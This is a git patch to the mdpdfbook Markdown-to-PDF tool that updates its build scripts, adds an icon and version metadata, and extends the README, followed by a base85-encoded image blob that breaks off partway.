From ffeb8294f86f8c691dfde5f08bc6bd4c7f4273ab Mon Sep 17 00:00:00 2001 From: Rabist Date: Tue, 17 Aug 2021 10:17:58 +0430 Subject: [PATCH] Modify structure --- .github/workflows/main.yml | 7 +++-- .vscode/tasks.json | 2 +- README.md | 17 +++++++++-- catalog.jpg | Bin 0 -> 45150 bytes favicon.ico | Bin 0 -> 67646 bytes mdpdfbook/__main__.py | 5 ++-- mdpdfbook/convert.py | 5 ++-- mdpdfbook/rcdec.py | 52 -------------------------------- mdpdfbook/req.py | 60 ------------------------------------- metadata.yml | 7 +++++ requirements.txt | 6 ++-- 11 files changed, 35 insertions(+), 126 deletions(-) create mode 100644 catalog.jpg create mode 100644 favicon.ico delete mode 100644 mdpdfbook/rcdec.py delete mode 100644 mdpdfbook/req.py create mode 100644 metadata.yml diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 1d5b90b..5379dd6 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -34,10 +34,13 @@ jobs: rm -r dist -ErrorAction Ignore; rm -r build -ErrorAction Ignore; rm *.spec -ErrorAction Ignore; + rm ../version.txt -ErrorAction Ignore; ../.env/Scripts/activate; - pyinstaller --noconfirm --clean --onefile --name 'mdpdfbook' __main__.py; + create-version-file ../metadata.yml --outfile ../version.txt; + pyinstaller --noconfirm --clean --onefile --icon ../favicon.ico --version-file ../version.txt --name 'mdpdfbook' __main__.py; rm -r build -ErrorAction Ignore; - rm *.spec -ErrorAction Ignore + rm *.spec -ErrorAction Ignore; + rm ../version.txt -ErrorAction Ignore - name: Create Release id: create_release diff --git a/.vscode/tasks.json b/.vscode/tasks.json index fc03c68..90f8950 100644 --- a/.vscode/tasks.json +++ b/.vscode/tasks.json @@ -25,7 +25,7 @@ { "label": "Build", "type": "shell", - "command": "rm -r dist; rm -r build; rm *.spec; cls; ../.env/Scripts/activate; pyinstaller --noconfirm --clean --onefile --name 'mdpdfbook' __main__.py; rm -r build; rm *.spec", + "command": "rm -r dist; rm -r build; rm *.spec; rm ../version.txt; cls; ../.env/Scripts/activate; create-version-file ../metadata.yml --outfile ../version.txt; pyinstaller --noconfirm --clean --onefile --icon ../favicon.ico --version-file ../version.txt --name 'mdpdfbook' __main__.py; rm -r build; rm *.spec; rm ../version.txt", "options": { "cwd": "mdpdfbook" }, diff --git a/README.md b/README.md index d134074..40d6b89 100644 --- a/README.md +++ b/README.md @@ -1,12 +1,25 @@ -# Convert MD to PDF +![catalog](catalog.jpg) + +# mdpdfbook ![GitHub release (latest by date)](https://img.shields.io/github/v/release/geraked/mdpdfbook) [![CI](https://github.com/geraked/mdpdfbook/actions/workflows/main.yml/badge.svg)](https://github.com/geraked/crack-qv/actions/workflows/main.yml) +This is a toolkit that generates pdf books from multiple `*.md` files or [mdBook](https://github.com/rust-lang/mdBook) based structure. + +### How To Use? + +- Download `mdpdfbook.exe` from the `Releases` section. +- Run the toolkit and Enter the directory path containing `SUMMARY.md` or other `*.md` files. +- Press `Enter` to start operation. +- The output file with the name `mdpdfbook-output.pdf` will be generated in the same directory. + +If you want to generate pdf books from [mdBook](https://github.com/rust-lang/mdBook) based structure, You must enter the directory path containing the `SUMMARY.md` file in the root, otherwise enter the directory path containing multiple `*.md` files. No matter whether the markdown files are in the root or sub-folders, it merges all of them in order. + ## Author **Rabist** - view on [LinkedIn](https://www.linkedin.com/in/rabist) ## License -Licensed under [MIT](LICENSE). \ No newline at end of file +Licensed under [MIT](LICENSE). diff --git a/catalog.jpg b/catalog.jpg new file mode 100644 index 0000000000000000000000000000000000000000..b2b4043af300c632b2b0799e435a23c9e26200db GIT binary patch literal 45150 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 